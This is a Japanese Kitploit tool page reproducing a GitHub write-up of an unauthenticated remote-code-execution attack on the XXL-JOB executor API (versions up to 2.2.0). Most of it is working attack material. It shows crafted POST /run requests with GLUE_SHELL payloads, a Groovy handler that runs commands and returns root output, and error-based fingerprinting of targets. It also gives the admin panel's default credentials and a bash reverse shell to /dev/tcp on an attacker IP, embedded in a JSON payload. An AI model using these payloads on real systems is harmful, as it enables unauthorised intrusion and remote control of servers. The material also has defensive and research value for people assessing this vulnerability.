Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
xxl-job — xxl-job RESTful API RCE | Kitploit
ツール/GitHubGitHub/jas502n/xxl-job
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHubjas502n/xxl-job

xxl-job

xxl-job RESTful API RCE

リポジトリを見る
73115年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

xxl-job エグゼキュータ RESTful API 未認証アクセス RCE

実行ログConsoleを利用することでコマンド実行成功の結果を取得できます:

例:

/joblog/logDetailPage?id=xxxx

JDK環境変数の確認

root@kitploit:~
String var3 = System.getProperties().toString();
System.out.println(var3);

コマンド実行

/jobcode?jobId=x

root@kitploit:~
import com.xxl.job.core.log.XxlJobLogger;
import com.xxl.job.core.biz.model.ReturnT;
import com.xxl.job.core.handler.IJobHandler;

public class DemoGlueJobHandler extends IJobHandler {

    @Override
    public ReturnT<String> execute(String param) throws Exception {
        XxlJobLogger.log("XXL-JOB, Hello World.");
        String cmd = "whoami&&id";
        String var2 = new java.util.Scanner(new java.lang.ProcessBuilder(cmd).start().getInputStream()).useDelimiter("\\A").next();
        System.out.println(var2);
        return var2;
    }


}
root@kitploit:~
----------- JobThread Exception:org.codehaus.groovy.runtime.typehandling.GroovyCastException: Cannot cast object 'uid=0(root) gid=0(root) groups=0(root)
' with class 'java.lang.String' to class 'com.xxl.job.core.biz.model.ReturnT'
	at org.codehaus.groovy.runtime.typehandling.DefaultTypeTransformation.continueCastOnSAM(DefaultTypeTransformation.java:415)
	at org.codehaus.groovy.runtime.typehandling.DefaultTypeTransformation.continueCastOnNumber(DefaultTypeTransformation.java:329)
	at org.codehaus.groovy.runtime.typehandling.DefaultTypeTransformation.castToType(DefaultTypeTransformation.java:243)
	at org.codehaus.groovy.runtime.ScriptBytecodeAdapter.castToType(ScriptBytecodeAdapter.java:615)
	at DemoGlueJobHandler.execute(script16251277854351238137335.groovy:13)
	at com.xxl.job.core.handler.impl.GlueJobHandler.execute(GlueJobHandler.java:26)
	at com.xxl.job.core.thread.JobThread.run(JobThread.java:152)

XXL-JOB <= 2.2.0

fofa 外部ネットワーク資産の統計

Burpsuite

root@kitploit:~
POST /run HTTP/1.1
Host: 127.0.0.1:9999
Content-Length: 365
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

{
  "jobId": 1,
  "executorHandler": "demoJobHandler",
  "executorParams": "demoJobHandler",
  "executorBlockStrategy": "COVER_EARLY",
  "executorTimeout": 0,
  "logId": 1,
  "logDateTime": 1586629003729,
  "glueType": "GLUE_SHELL",
  "glueSource": "open -a Calculator",
  "glueUpdatetime": 1586629003727,
  "broadcastIndex": 0,
  "broadcastTotal": 0
}
root@kitploit:~
HTTP/1.1 200 OK
content-type: text/html;charset=UTF-8
content-length: 12

{"code":200}

9999 デフォルトページ

root@kitploit:~
http://127.0.0.1:9999/

HTTP/1.1 200 OK
content-type: text/html;charset=UTF-8
content-length: 61
connection: keep-alive

{
  "code": 500,
  "msg": "invalid request, HttpMethod not support."
}


POST

POST / HTTP/1.1 Host: 127.0.0.1:9999 Accept: / X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 0

HTTP/1.1 200 OK content-type: text/html;charset=UTF-8 content-length: 63

{ "code": 500, "msg": "invalid request, uri-mapping(/) not found." }

root@kitploit:~
## 異常エラーフィンガープリントによるターゲットマシンの迅速な発見

POST /run HTTP/1.1 Host: 127.0.0.1:9999 Accept: / X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 0

root@kitploit:~

HTTP/1.1 200 OK content-type: text/html;charset=UTF-8 content-length: 646

{ "code": 500, "msg": "request error:java.lang.NullPointerException at com.xxl.job.core.biz.impl.ExecutorBizImpl.run(ExecutorBizImpl.java:49) at com.xxl.job.core.server.EmbedServer$EmbedHttpServerHandler.process(EmbedServer.java:201) at com.xxl.job.core.server.EmbedServer$EmbedHttpServerHandler.access$200(EmbedServer.java:138) at com.xxl.job.core.server.EmbedServer$EmbedHttpServerHandler$1.run(EmbedServer.java:166) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617) at java.lang.Thread.run(Thread.java:745) " }

root@kitploit:~
## その他のAPI

`src/main/java/com/xxl/job/core/server/EmbedServer.java`

root@kitploit:~
    private Object process(HttpMethod httpMethod, String uri, String requestData, String accessTokenReq) {

        // valid
        if (HttpMethod.POST != httpMethod) {
            return new ReturnT<String>(ReturnT.FAIL_CODE, "invalid request, HttpMethod not support.");
        }
        if (uri==null || uri.trim().length()==0) {
            return new ReturnT<String>(ReturnT.FAIL_CODE, "invalid request, uri-mapping empty.");
        }
        if (accessToken!=null
                && accessToken.trim().length()>0
                && !accessToken.equals(accessTokenReq)) {
            return new ReturnT<String>(ReturnT.FAIL_CODE, "The access token is wrong.");
        }

        // services mapping
        try {
            if ("/beat".equals(uri)) {
                return executorBiz.beat();
            } else if ("/idleBeat".equals(uri)) {
                IdleBeatParam idleBeatParam = GsonTool.fromJson(requestData, IdleBeatParam.class);
                return executorBiz.idleBeat(idleBeatParam);
            } else if ("/run".equals(uri)) {
                TriggerParam triggerParam = GsonTool.fromJson(requestData, TriggerParam.class);
                return executorBiz.run(triggerParam);
            } else if ("/kill".equals(uri)) {
                KillParam killParam = GsonTool.fromJson(requestData, KillParam.class);
                return executorBiz.kill(killParam);
            } else if ("/log".equals(uri)) {
                LogParam logParam = GsonTool.fromJson(requestData, LogParam.class);
                return executorBiz.log(logParam);
            } else {
                return new ReturnT<String>(ReturnT.FAIL_CODE, "invalid request, uri-mapping("+ uri +") not found.");
            }
        } catch (Exception e) {
            logger.error(e.getMessage(), e);
            return new ReturnT<String>(ReturnT.FAIL_CODE, "request error:" + ThrowableUtil.toString(e));
        }
    }
root@kitploit:~

## TriggerParam.java の実行

package com.xxl.job.core.biz.model;

import java.io.Serializable;

/**

  • Created by xuxueli on 16/7/22. */ public class TriggerParam implements Serializable{ private static final long serialVersionUID = 42L;

    private int jobId;

    private String executorHandler; private String executorParams; private String executorBlockStrategy; private int executorTimeout;

    private long logId; private long logDateTime;

    private String glueType; private String glueSource; private long glueUpdatetime;

    private int broadcastIndex; private int broadcastTotal;

    public int getJobId() { return jobId; }

    public void setJobId(int jobId) { this.jobId = jobId; }

    public String getExecutorHandler() { return executorHandler; }

    public void setExecutorHandler(String executorHandler) { this.executorHandler = executorHandler; }

    public String getExecutorParams() { return executorParams; }

    public void setExecutorParams(String executorParams) { this.executorParams = executorParams; }

    public String getExecutorBlockStrategy() { return executorBlockStrategy; }

    public void setExecutorBlockStrategy(String executorBlockStrategy) { this.executorBlockStrategy = executorBlockStrategy; }

    public int getExecutorTimeout() { return executorTimeout; }

    public void setExecutorTimeout(int executorTimeout) { this.executorTimeout = executorTimeout; }

    public long getLogId() { return logId; }

    public void setLogId(long logId) { this.logId = logId; }

    public long getLogDateTime() { return logDateTime; }

    public void setLogDateTime(long logDateTime) { this.logDateTime = logDateTime; }

    public String getGlueType() { return glueType; }

    public void setGlueType(String glueType) { this.glueType = glueType; }

    public String getGlueSource() { return glueSource; }

    public void setGlueSource(String glueSource) { this.glueSource = glueSource; }

    public long getGlueUpdatetime() { return glueUpdatetime; }

    public void setGlueUpdatetime(long glueUpdatetime) { this.glueUpdatetime = glueUpdatetime; }

    public int getBroadcastIndex() { return broadcastIndex; }

    public void setBroadcastIndex(int broadcastIndex) { this.broadcastIndex = broadcastIndex; }

    public int getBroadcastTotal() { return broadcastTotal; }

    public void setBroadcastTotal(int broadcastTotal) { this.broadcastTotal = broadcastTotal; }

    @Override public String toString() { return "TriggerParam{" + "jobId=" + jobId + ", executorHandler='" + executorHandler + ''' + ", executorParams='" + executorParams + ''' + ", executorBlockStrategy='" + executorBlockStrategy + ''' + ", executorTimeout=" + executorTimeout + ", logId=" + logId + ", logDateTime=" + logDateTime + ", glueType='" + glueType + ''' + ", glueSource='" + glueSource + ''' + ", glueUpdatetime=" + glueUpdatetime + ", broadcastIndex=" + broadcastIndex + ", broadcastTotal=" + broadcastTotal + '}'; }

}

root@kitploit:~
#### TriggerParam

{ "jobId": 1, "executorHandler": "executorHandler", "executorParams": "executorParams", "executorBlockStrategy": "executorBlockStrategy", "executorTimeout": 1, "logId": 1, "logDateTime": 1, "glueType": "glueType", "glueSource": "glueSource", "glueUpdatetime": 1, "broadcastIndex": 1, "broadcastTotal": 1 }

root@kitploit:~

![](https://assets.kitploit.com/production/public/readmes/43842/35dfca91bb1dfe1ebf8f43e9252a46828f18f4e9a616b3213ad375994ec8b837.png)

## 過去の脆弱性 XXL-JOB-admin 管理画面からのリバースシェル

`(管理画面のアカウントとパスワードが必要。デフォルトは admin/123456)`

`/xxl-job-admin/src/test/java/com/xxl/job/admin/controller/JobInfoControllerTest.java`

@Before public void login() throws Exception { MvcResult ret = mockMvc.perform( post("/login") .contentType(MediaType.APPLICATION_FORM_URLENCODED) .param("userName", "admin") .param("password", "123456") ).andReturn(); cookie = ret.getResponse().getCookie(LoginService.LOGIN_IDENTITY_KEY); }

root@kitploit:~

`タスクスケジューリングセンター-タスク管理-新規追加`

![](https://assets.kitploit.com/production/public/readmes/43842/d5e8c9e2ef2b1817a7ca89b558857c19e2a4ef0eb95e578d358edb9d4df2b3d5.png)
![](https://assets.kitploit.com/production/public/readmes/43842/65d314cfbcd3ab6435317b2f85a53797ef38b3151c30f26937edad617f095150.png)
![](https://assets.kitploit.com/production/public/readmes/43842/8ad1fe0d7abd37c5198b5a76a897fd09c7647d3826b3eefa1db6152bf6d849ae.png)
![](https://assets.kitploit.com/production/public/readmes/43842/b538c2e126f67a93cdd68e385bc8bba5136c571d672a23b626250338a72c2831.png)
![](https://assets.kitploit.com/production/public/readmes/43842/75b3786971106a8de1a3adfa0174652ffc48bfdfb76e688b7b97e69dcf125115.png)
![](https://assets.kitploit.com/production/public/readmes/43842/c4c181e13eee74ea398d10f7cf8a26523985fb0cab9e726114c0caa4c0117d73.png)
![](https://assets.kitploit.com/production/public/readmes/43842/7b460b1ff70fb81072b0b53520f03c4b80dbed61bc26eea50480f7a56e23fba8.png)
![](https://assets.kitploit.com/production/public/readmes/43842/7b165fae1f6218b6d68225a4a013ec00b8c5ef2892749c4a062dba8f332d6b8a.png)
![](https://assets.kitploit.com/production/public/readmes/43842/5856821fbd4cffd82b6e829729db6c29e40153ef0f8b93620eddd7ce3db065ea.png)


## xxl-job エグゼキュータ

POST /xxl-job-admin/jobinfo/trigger HTTP/1.1 Host: 10.20.24.99:8080 Content-Length: 64 Accept: application/json, text/javascript, /; q=0.01 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: http://10.20.24.99:8080 Referer: http://10.20.24.99:8080/xxl-job-admin/jobinfo Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: XXL_JOB_LOGIN_IDENTITY=7b226964223a312c22757365726e616d65223a2261646d696e222c2270617373776f7264223a226531306164633339343962613539616262653536653035376632306638383365222c22726f6c65223a312c227065726d697373696f6e223a6e756c6c7d Connection: close

id=2&executorParam=&addressList=http%3A%2F%2F10.88.105.53%3A9999

root@kitploit:~
![](https://assets.kitploit.com/production/public/readmes/43842/1e6161a8c9a73618a697996bc0e28ba7c655a756c9c851fa471714124699a4ad.png)

## wireshark でパケットキャプチャしてみる

╰─$ sudo tcpdump port 9999 -w 9999.pcap tcpdump: data link type PKTAP tcpdump: listening on pktap, link-type PKTAP (Apple DLT_PKTAP), capture size 262144 bytes ^C25 packets captured 349 packets received by filter 0 packets dropped by kernel

root@kitploit:~


![](https://assets.kitploit.com/production/public/readmes/43842/f81a39e35b937a9bd5488a1f03e29046d739d6ba4844e84f032cbafe9d65f27e.png)

10.20.24.99(任务调度中心 xxl-job-admin) > 10.88.105.53:9999 (执行器 xxl.job.executor) User-Agent: Java/1.8.0_60

7 0.036046 10.20.24.99 10.88.105.53 HTTP 392 POST /run HTTP/1.1 (application/json) 8 0.036058 10.88.105.53 10.20.24.99 TCP 66 9999 → 50724 [ACK] Seq=1 Ack=645 Win=131456 Len=0 TSval=1636700605 TSecr=915202206 9 0.037061 10.88.105.53 10.20.24.99 HTTP 180 HTTP/1.1 200 OK (text/html)

root@kitploit:~


`bash -i \u003e\u0026 /dev/tcp/10.20.24.99/8989 0\u003e\u00261\n`

`bash -i >& /dev/tcp/10.20.24.99/8989 0>&1\n`

POST /run HTTP/1.1 Content-Type: application/json;charset=UTF-8 Accept-Charset: application/json;charset=UTF-8 Cache-Control: no-cache Pragma: no-cache User-Agent: Java/1.8.0_60 Host: 10.88.105.53:9999 Accept: text/html, image/gif, image/jpeg, *; q=.2, /; q=.2 Connection: keep-alive Content-Length: 326

{ "jobId": 5, "executorHandler": "", "executorParams": "", "executorBlockStrategy": "SERIAL_EXECUTION", "executorTimeout": 0, "logId": 13, "logDateTime": 1603865778890, "glueType": "GLUE_SHELL", "glueSource": "bash -i \u003e\u0026 /dev/tcp/10.20.24.99/8989 0\u003e\u00261\n", "glueUpdatetime": 1603860395000, "broadcastIndex": 0, "broadcastTotal": 1 }

HTTP/1.1 200 OK content-type: text/html;charset=UTF-8 content-length: 12 connection: keep-alive

{"code":200}

root@kitploit:~


Ps: この利用方法は`2019.07.08 16:20:16`に既に記事を書いた人がいます(https://www.jianshu.com/p/2d0974f33271)。なぜ今日になって初めて警告されたのか不明???

## 参考リンク

https://landgrey.me/blog/18/

https://www.xuxueli.com/xxl-job/
ツールをダウンロード